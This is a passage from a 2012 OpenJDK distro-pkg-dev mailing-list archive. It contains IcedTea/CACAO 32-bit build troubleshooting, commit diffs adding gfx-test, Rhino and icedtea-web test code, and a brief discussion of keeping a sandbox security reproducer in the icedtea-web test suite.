} catch (ClassNotFoundException cnfe) { <<<< This should not have been squelched - // continue - } - } The reproducer (AppletExtendsFromOutsideJar) works with the original (pre -r514) version with the try and catch gone. The specifics are hard for me to determine but it does cause the body of CodeBaseLoader#findClass to potentially occur twice on a CNFE. Thanks! -Adam -------------- next part -------------- A non-text attachment was scrubbed... Name: fixunittest-askedforparent.patch Type: text/x-patch Size: 3614 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/4348069c/fixunittest-askedforparent.patch From stefan at complang.tuwien.ac.at Mon Dec 17 15:08:25 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 00:08:25 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> Message-ID: >> I believe this machine should have enough memory: >> # free -m >> total used free shared buffers cached >> Mem: 4040 1699 2340 0 107 1183 >> -/+ buffers/cache: 409 3630 >> Swap: 5599 0 5599 > > Hmm, no idea. Works for me... But if you can, you should try adding more swap space. For some reason, the JVM gobbles up huge amounts of virtual address space lately. Regards Stefan From gnu.andrew at redhat.com Mon Dec 17 15:24:43 2012 From: gnu.andrew at redhat.com (Andrew Hughes) Date: Mon, 17 Dec 2012 18:24:43 -0500 (EST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> Message-ID: <1714143919.16891851.1355786683209.JavaMail.root@redhat.com> ----- Original Message ----- > > Thanks for all the help, Stefan. I continue to make progress. I have > run the following: > > > # cd /opt > > # hg clone http://mips.complang.tuwien.ac.at/hg/cacao/ > # hg clone http://icedtea.classpath.org/hg/icedtea7 > # cd icedtea7 > # hg pull -r default https://bitbucket.org/Ringdingcoder/icedtea7 > # hg merge tip > # hg ci -m merge > # ./autogen.sh > # ./configure --enable-cacao --disable-bootstrap > --with-cacao-src-dir=/opt/cacao > # make > > > The compile begins, but soon fails with the following: > > make[6]: Entering directory > `/opt/icedtea7/openjdk/corba/make/tools/strip_properties' > /opt/icedtea7/bootstrap/jdk1.6.0/bin/javac -J-XX:ThreadStackSize=768 > -J-XX:-PrintVMOptions -J-XX:+UnlockDiagnosticVMOptions > -J-XX:-LogVMOutput -J-client -J-Xmx1536m -J-Xms1536m > -J-XX:PermSize=32m -J-XX:MaxPermSize=160m -encoding ascii -source 6 > -target 6 -d /opt/icedtea7/openjdk.build/corba/btclasses \ > -sourcepath ../../tools/src > ../../tools/src/build/tools/stripproperties/StripProperties.java > Error occurred during initialization of VM > Could not reserve enough space for object heap > Error: Could not create the Java Virtual Machine. > Error: A fatal exception has occurred. Program will exit. > > > > > I believe this machine should have enough memory: > # free -m > > > total used free shared buffers cached > Mem: 4040 1699 2340 0 107 1183 > -/+ buffers/cache: 409 3630 > Swap: 5599 0 5599 Generally, this means -J-Xmx1536m needs a bigger value. But given how early and on what this occurs, I think the VM may not have been built correctly. Can you fire up the built VM to do -version? -- Andrew :) Free Java Software Engineer Red Hat, Inc. (http://www.redhat.com) PGP Key: 248BDC07 (https://keys.indymedia.org/) Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07 From gregjo at yahoo.com Mon Dec 17 17:10:03 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Mon, 17 Dec 2012 17:10:03 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1714143919.16891851.1355786683209.JavaMail.root@redhat.com> References: <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1714143919.16891851.1355786683209.JavaMail.root@redhat.com> Message-ID: <1355793003.66027.YahooMailNeo@web125004.mail.ne1.yahoo.com> > >> I believe this machine should have enough memory: >> # free -m >> >> >> total used free shared buffers cached >> Mem: 4040 1699 2340 0 107 1183 >> -/+ buffers/cache: 409 3630 >> Swap: 5599 0 5599 > >Generally, this means -J-Xmx1536m needs a bigger value.? But given how >early and on what this occurs, I think the VM may not have been built correctly. > >Can you fire up the built VM to do -version? >-- >Andrew :) > > > > > I'm not sure which version you wanted me to use, so I did all I could find. :-) [greg at fedora17 icedtea7]$ ./openjdk.build/langtools/dist/bootstrap/bin/javac -version javac 1.7.0_12_bootstrap [greg at fedora17 icedtea7]$ ./openjdk.build/langtools/build/bootstrap/bin/javac -version javac 1.7.0_12_bootstrap [greg at fedora17 icedtea7]$ ./javac -version javac 1.7.0_09 [greg at fedora17 icedtea7]$ ./cacao/install/bin/java -version java version "1.6.0" CACAO version 1.6.0+ra97f753cfb7a Copyright (C) 1996-2012 CACAOVM - Verein zur Foerderung der freien virtuellen Maschine CACAO This is free software; see the source for copying conditions. ?There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/7507c8df/attachment.html From gregjo at yahoo.com Mon Dec 17 17:10:17 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Mon, 17 Dec 2012 17:10:17 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> Message-ID: <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> > >> I believe this machine should have enough memory: >>> # free -m >>>? ? ? ? ? ? ? total? ? ? used? ? ? free? ? shared? ? buffers? ? cached >>> Mem:? ? ? ? ? 4040? ? ? 1699? ? ? 2340? ? ? ? ? 0? ? ? ? 107? ? ? 1183 >>> -/+ buffers/cache:? ? ? ? 409? ? ? 3630 >>> Swap:? ? ? ? 5599? ? ? ? ? 0? ? ? 5599 >> >> Hmm, no idea. Works for me... > >But if you can, you should try adding more swap space. For some >reason, the JVM gobbles up huge amounts of virtual address space >lately. > >Regards >Stefan > > > > > I have rather beefy hardware, so I allocated 24GB of RAM to my Fedora 17 virtual machine. That didn't change anything. Then I looked at Stefan's comments from "uname", and that's where I saw the difference. You are using a 64 bit OS, and I'm using 32 bit. I sifted through the configuration files and saw that memory allocations are made based on whether the OS is 32-bit or not. I saw that in a file called Defs-java.gmk. So I spun up a VM running the 64 bit version of Fedora, and ran the same build instructions. This time it appears to have completed successfully. My eventual goal is to build CACAO on the Raspberry Pi. The Fedora Remix for the Raspberry Pi is 32-bit. So the build scripts would need to be configured to work correctly.? I don't understand what files would need to be modified to accommodate a successful 32-bit build. Suggestions? Does a bug report need to be filed? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121217/142aa414/attachment.html From ptisnovs at icedtea.classpath.org Tue Dec 18 00:47:54 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Tue, 18 Dec 2012 08:47:54 +0000 Subject: /hg/gfx-test: Added new tests into src/org/gfxtest/testsuites/Pa... Message-ID: changeset 33c1e093e894 in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=33c1e093e894 author: Pavel Tisnovsky date: Tue Dec 18 09:50:58 2012 +0100 Added new tests into src/org/gfxtest/testsuites/Paths.java. diffstat: ChangeLog | 5 + src/org/gfxtest/testsuites/Paths.java | 286 ++++++++++++++++++++++++++++++++++ 2 files changed, 291 insertions(+), 0 deletions(-) diffs (308 lines): diff -r 374fe54a78bf -r 33c1e093e894 ChangeLog --- a/ChangeLog Mon Dec 17 09:47:21 2012 +0100 +++ b/ChangeLog Tue Dec 18 09:50:58 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-18 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/Paths.java: + Added new tests. + 2012-12-17 Pavel Tisnovsky * src/org/gfxtest/testsuites/BitBltBasicTests.java: diff -r 374fe54a78bf -r 33c1e093e894 src/org/gfxtest/testsuites/Paths.java --- a/src/org/gfxtest/testsuites/Paths.java Mon Dec 17 09:47:21 2012 +0100 +++ b/src/org/gfxtest/testsuites/Paths.java Tue Dec 18 09:50:58 2012 +0100 @@ -478,6 +478,292 @@ } /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedPathFloatContainingQuadraticSegmentStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawCrossedPathFloatContainingQuadraticSegment(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedPathDoubleContainingQuadraticSegmentStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawCrossedPathDoubleContainingQuadraticSegment(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedPathFloatContainingCubicSegmentStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawCrossedPathFloatContainingCubicSegment(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with default stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedPathDoubleContainingCubicSegmentStrokePaint(TestImage image, Graphics2D graphics2d) + { + // draw the path + drawCrossedPathDoubleContainingCubicSegment(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Check if line path could be clipped by an ellipse shape. Path is + * rendered using stroke paint with zero stroke width. + * Line path is constructed using new Path.Float() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testLinePathFloatZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawLinePathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Check if line path could be clipped by an ellipse shape. Path is + * rendered using stroke paint with zero stroke width. + * Line path is constructed using new Path.Double() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testLinePathDoubleZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawLinePathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testQuadraticPathFloatZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawQuadraticPathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testQuadraticPathDoubleZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawQuadraticPathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCubicPathFloatZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawCubicPathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCubicPathDoubleZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawCubicPathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Check if closed path could be clipped by an ellipse shape. Path is + * rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testClosedPathFloatZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawClosedPathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Check if closed path could be clipped by an ellipse shape. Path is + * rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testClosedPathDoubleZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawClosedPathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Check if crossed closed path could be clipped by an ellipse shape. Path is + * rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedClosedPathFloatZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawCrossedPathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Check if crossed closed path could be clipped by an ellipse shape. Path is + * rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedClosedPathDoubleZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawCrossedPathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** * Entry point to the test suite. * * @param args From stefan at complang.tuwien.ac.at Tue Dec 18 01:26:15 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 10:26:15 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> Message-ID: > So I spun up a VM running the 64 bit version of Fedora, and ran the same > build instructions. This time it appears to have completed successfully. > My eventual goal is to build CACAO on the Raspberry Pi. The Fedora Remix for > the Raspberry Pi is 32-bit. So the build scripts would need to be configured > to work correctly. > I don't understand what files would need to be modified to accommodate a > successful 32-bit build. Suggestions? Does a bug report need to be filed? I ran a build of icedtea7 on my SheevaPlug (512MB RAM, Fedora 17 as well) a while ago without a problem, IIRC. I'll try to do it again with current versions and report the results. This will take a while, though. Regarding the Raspberry, do you run a armhf distro on it? If yes, you'll have to wait a little while longer, because I'm only just in the progress of working armhf work. Cheers From ptisnovs at icedtea.classpath.org Tue Dec 18 01:45:55 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Tue, 18 Dec 2012 09:45:55 +0000 Subject: /hg/rhino-tests: Added three new tests into the test case src/or... Message-ID: changeset 499bf38b565f in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=499bf38b565f author: Pavel Tisnovsky date: Tue Dec 18 10:49:01 2012 +0100 Added three new tests into the test case src/org/RhinoTests/ScriptEngineFactoryClassTest.java. diffstat: ChangeLog | 5 + src/org/RhinoTests/ScriptEngineFactoryClassTest.java | 75 ++++++++++++++++++++ 2 files changed, 80 insertions(+), 0 deletions(-) diffs (111 lines): diff -r 6ca3cde5c86f -r 499bf38b565f ChangeLog --- a/ChangeLog Mon Dec 17 10:54:42 2012 +0100 +++ b/ChangeLog Tue Dec 18 10:49:01 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-18 Pavel Tisnovsky + + * src/org/RhinoTests/ScriptEngineFactoryClassTest.java: + Added three new tests into this test case. + 2012-12-17 Pavel Tisnovsky * src/org/RhinoTests/ScriptContextClassTest.java: diff -r 6ca3cde5c86f -r 499bf38b565f src/org/RhinoTests/ScriptEngineFactoryClassTest.java --- a/src/org/RhinoTests/ScriptEngineFactoryClassTest.java Mon Dec 17 10:54:42 2012 +0100 +++ b/src/org/RhinoTests/ScriptEngineFactoryClassTest.java Tue Dec 18 10:49:01 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -355,6 +356,28 @@ } /** + * Test for method javax.script.ScriptEngineFactory.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.scriptEngineFactoryClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.ScriptEngineFactory.getClass().getMethods() */ protected void testGetMethods() { @@ -455,6 +478,58 @@ } /** + * Test for method javax.script.ScriptEngineFactory.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptEngineFactoryClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.ScriptEngineFactory.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptEngineFactoryClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.ScriptEngineFactory */ @SuppressWarnings("cast") From jvanek at redhat.com Tue Dec 18 03:01:36 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Tue, 18 Dec 2012 12:01:36 +0100 Subject: [rfc][icedtea-web] Reproducer of BeansStatement behaviour In-Reply-To: <50CF4FCD.30103@redhat.com> References: <50CA03C5.7080500@redhat.com> <50CB9307.5030801@redhat.com> <50CF4FCD.30103@redhat.com> Message-ID: <50D04D10.70402@redhat.com> On 12/17/2012 06:01 PM, Omair Majid wrote: > On 12/14/2012 03:58 PM, Adam Domurad wrote: >> On 12/13/2012 11:35 AM, Jiri Vanek wrote: >> Looks OK, although this seems like something that is better placed in a >> JRE's test suite, not ITWs. > > Agreed. While it is nice to have another test to check a security > property, I am not sure how sensible it is to add this test to > icedtea-web. The test is, after all, testing that the JRE enforces a > security check when a certain operation is performed. We do have a > number of tests that check that the code in icedtea-web is running in a > sandbox, but nothing that is as specific as this. > > I would like to know what's the motivation for adding this specific test > to icedtea-web. > Motivation is simple, this was once safe and working. Due to several changes in jdk this become penetrable. ITW is the way via which it can be misused. I think that having such a reproducer run periodically can speed up discovery and so fix in case that some changes will lead to penetrability again. Anyway - most of security issues reappear because of reproducers disappears. I really have intention to forward most of such a reproducers into reproducers repo and to run them as often as possible - of course several month after the fix is published. J. From jfabriko at icedtea.classpath.org Tue Dec 18 04:56:20 2012 From: jfabriko at icedtea.classpath.org (jfabriko at icedtea.classpath.org) Date: Tue, 18 Dec 2012 12:56:20 +0000 Subject: /hg/icedtea-web: additions to test-extensions needed for the new... Message-ID: changeset e04380d3306f in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=e04380d3306f author: Jana Fabrikova date: Tue Dec 18 13:58:24 2012 +0100 additions to test-extensions needed for the new AWTFramework diffstat: ChangeLog | 18 ++++ tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java | 2 +- tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java | 38 +++++++++- tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java | 22 +++++- 4 files changed, 75 insertions(+), 5 deletions(-) diffs (173 lines): diff -r 1fe2a4f7981f -r e04380d3306f ChangeLog --- a/ChangeLog Tue Dec 11 20:32:26 2012 +0100 +++ b/ChangeLog Tue Dec 18 13:58:24 2012 +0100 @@ -1,3 +1,21 @@ +2012-12-18 Jana Fabrikova + + * /tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java: + Added several new versions of method (executeBrowser) with lists + of ContentReaderListeners as arguments. + * /tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java: + Added new versions of the (constructor of ProcessWrapper) and methods + (addStdOutListeners) and (addStdErrListeners) for adding + ContentReaderListeners using List + instead of one ContentReaderListener as argument. + Added a new version of (constructor of ProcessWrapper) with + less arguments that is used instead of calling the constructor + with several arguments passed as null, thus causing ambiguity. + * /tests/reproducers/simple/SingeInstanceServiceTest/testcases/SingleInstanceTest.java: + Modified the call of (executeBrowser) method with null arguments + into a call of new method without the null arguments + -getting rid of an ambiguous call. + 2012-12-11 Jiri Vanek Added jacoco code coverage support diff -r 1fe2a4f7981f -r e04380d3306f tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java --- a/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java Tue Dec 11 20:32:26 2012 +0100 +++ b/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java Tue Dec 18 13:58:24 2012 +0100 @@ -109,7 +109,7 @@ try { boolean isJavawsTest = isJnlp(launchFile); pr = isJavawsTest ? server.executeJavawsHeadless(launchFile, null, null) - : server.executeBrowser(launchFile, null, null); + : server.executeBrowser(launchFile); } catch (Exception ex) { ServerAccess.logException(ex); } finally { diff -r 1fe2a4f7981f -r e04380d3306f tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java --- a/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java Tue Dec 11 20:32:26 2012 +0100 +++ b/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java Tue Dec 18 13:58:24 2012 +0100 @@ -64,7 +64,7 @@ public ProcessWrapper() { } - public ProcessWrapper(String toBeExecuted, List otherargs, URL u, ContentReaderListener stdoutl, ContentReaderListener stderrl, String[] vars) throws Exception { + public ProcessWrapper(String toBeExecuted, List otherargs, URL u){ Assert.assertNotNull(u); Assert.assertNotNull(toBeExecuted); Assert.assertTrue(toBeExecuted.trim().length() > 1); @@ -75,12 +75,24 @@ urledArgs.add(0, toBeExecuted); urledArgs.add(u.toString()); this.args = urledArgs; + this.vars=null; + } + + public ProcessWrapper(String toBeExecuted, List otherargs, URL u, ContentReaderListener stdoutl, ContentReaderListener stderrl, String[] vars) throws Exception { + this(toBeExecuted, otherargs, u); this.addStdOutListener(stdoutl); this.addStdErrListener(stderrl); this.vars=vars; } + public ProcessWrapper(String toBeExecuted, List otherargs, URL u, List stdoutl, List stderrl, String[] vars) throws Exception { + this(toBeExecuted, otherargs, u); + this.addStdOutListeners(stdoutl); + this.addStdErrListeners(stderrl); + this.vars=vars; + } + ProcessWrapper(final List args, File dir, ContentReaderListener stdoutl, ContentReaderListener stderrl, String[] vars) { this.args = args; this.dir = dir; @@ -89,6 +101,14 @@ this.vars = vars; } + public ProcessWrapper(final List args, File dir, List stdoutl, List stderrl, String[] vars) { + this.args = args; + this.dir = dir; + this.addStdOutListeners(stdoutl); + this.addStdErrListeners(stderrl); + this.vars = vars; + } + public final void addStdOutListener(ContentReaderListener l) { if (l == null) { return; @@ -105,6 +125,22 @@ } + public final void addStdOutListeners(List l) { + if (l == null) { + return; + } + stdoutl.addAll(l); + + } + + public final void addStdErrListeners(List l) { + if (l == null) { + return; + } + stderrl.addAll(l); + + } + /** * @return the args */ diff -r 1fe2a4f7981f -r e04380d3306f tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java --- a/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java Tue Dec 11 20:32:26 2012 +0100 +++ b/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java Tue Dec 18 13:58:24 2012 +0100 @@ -573,6 +573,10 @@ return executeBrowser(getBrowserParams(), resource, stdoutl, stderrl); } + public ProcessResult executeBrowser(String resource, List stdoutl, List stderrl) throws Exception { + return executeBrowser(getBrowserParams(), resource, stdoutl, stderrl); + } + /** * wrapping method to executeProcess (eg: javaws arg arg http://localhost:port/resource) * will execute default javaws (@see JAVAWS_BUILD_BIN) upon default url upon cached server (@see SERVER_NAME @see getPort(), @see getInstance())) @@ -592,7 +596,7 @@ } public ProcessResult executeBrowser(List otherargs, String resource) throws Exception { - ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), otherargs, getUrlUponThisInstance(resource), null, null, null); + ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), otherargs, getUrlUponThisInstance(resource)); rpw.setReactingProcess(getCurrentBrowser());//current browser may be null, but it does not metter return rpw.execute(); } @@ -603,8 +607,14 @@ return rpw.execute(); } + public ProcessResult executeBrowser(List otherargs, String resource, List stdoutl, List stderrl) throws Exception { + ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), otherargs, getUrlUponThisInstance(resource), stdoutl, stderrl, null); + rpw.setReactingProcess(getCurrentBrowser());// current browser may be null, but it does not matter + return rpw.execute(); + } + public ProcessResult executeBrowser(Browser b, List otherargs, String resource) throws Exception { - ProcessWrapper rpw = new ProcessWrapper(b.getBin(), otherargs, getUrlUponThisInstance(resource), null, null, null); + ProcessWrapper rpw = new ProcessWrapper(b.getBin(), otherargs, getUrlUponThisInstance(resource)); rpw.setReactingProcess(b); return rpw.execute(); } @@ -615,6 +625,12 @@ return rpw.execute(); } + public ProcessResult executeBrowser(Browser b, List otherargs, String resource, List stdoutl, List stderrl) throws Exception { + ProcessWrapper rpw = new ProcessWrapper(b.getBin(), otherargs, getUrlUponThisInstance(resource), stdoutl, stderrl, null); + rpw.setReactingProcess(b); + return rpw.execute(); + } + /** * Create resource on http, on 'localhost' on port on which this cached instance is running * @param resource @@ -661,7 +677,7 @@ * @throws Exception */ public static ProcessResult executeProcessUponURL(String toBeExecuted, List otherargs, URL u) throws Exception { - return new ProcessWrapper(toBeExecuted, otherargs, u, null, null, null).execute(); + return new ProcessWrapper(toBeExecuted, otherargs, u).execute(); } public static ProcessResult executeProcessUponURL(String toBeExecuted, List otherargs, URL u, ContentReaderListener stdoutl, ContentReaderListener stderrl) throws Exception { From gregjo at yahoo.com Tue Dec 18 05:03:15 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Tue, 18 Dec 2012 05:03:15 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> Message-ID: <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> >I ran a build of icedtea7 on my SheevaPlug (512MB RAM, Fedora 17 as>well) a while ago without a problem, IIRC. I'll try to do it again >with current versions and report the results. This will take a while,?though. Was this a build with CACAO? That seems to be the problem....32bit builds with CACAO. I understand that your SheevaPlug will take a long time. I initially attempted the build with a Raspberry Pi, and it took two weeks before I reached the failure point. That's why I've decided that I won't attempt it again until I can successfully build CACAO on a 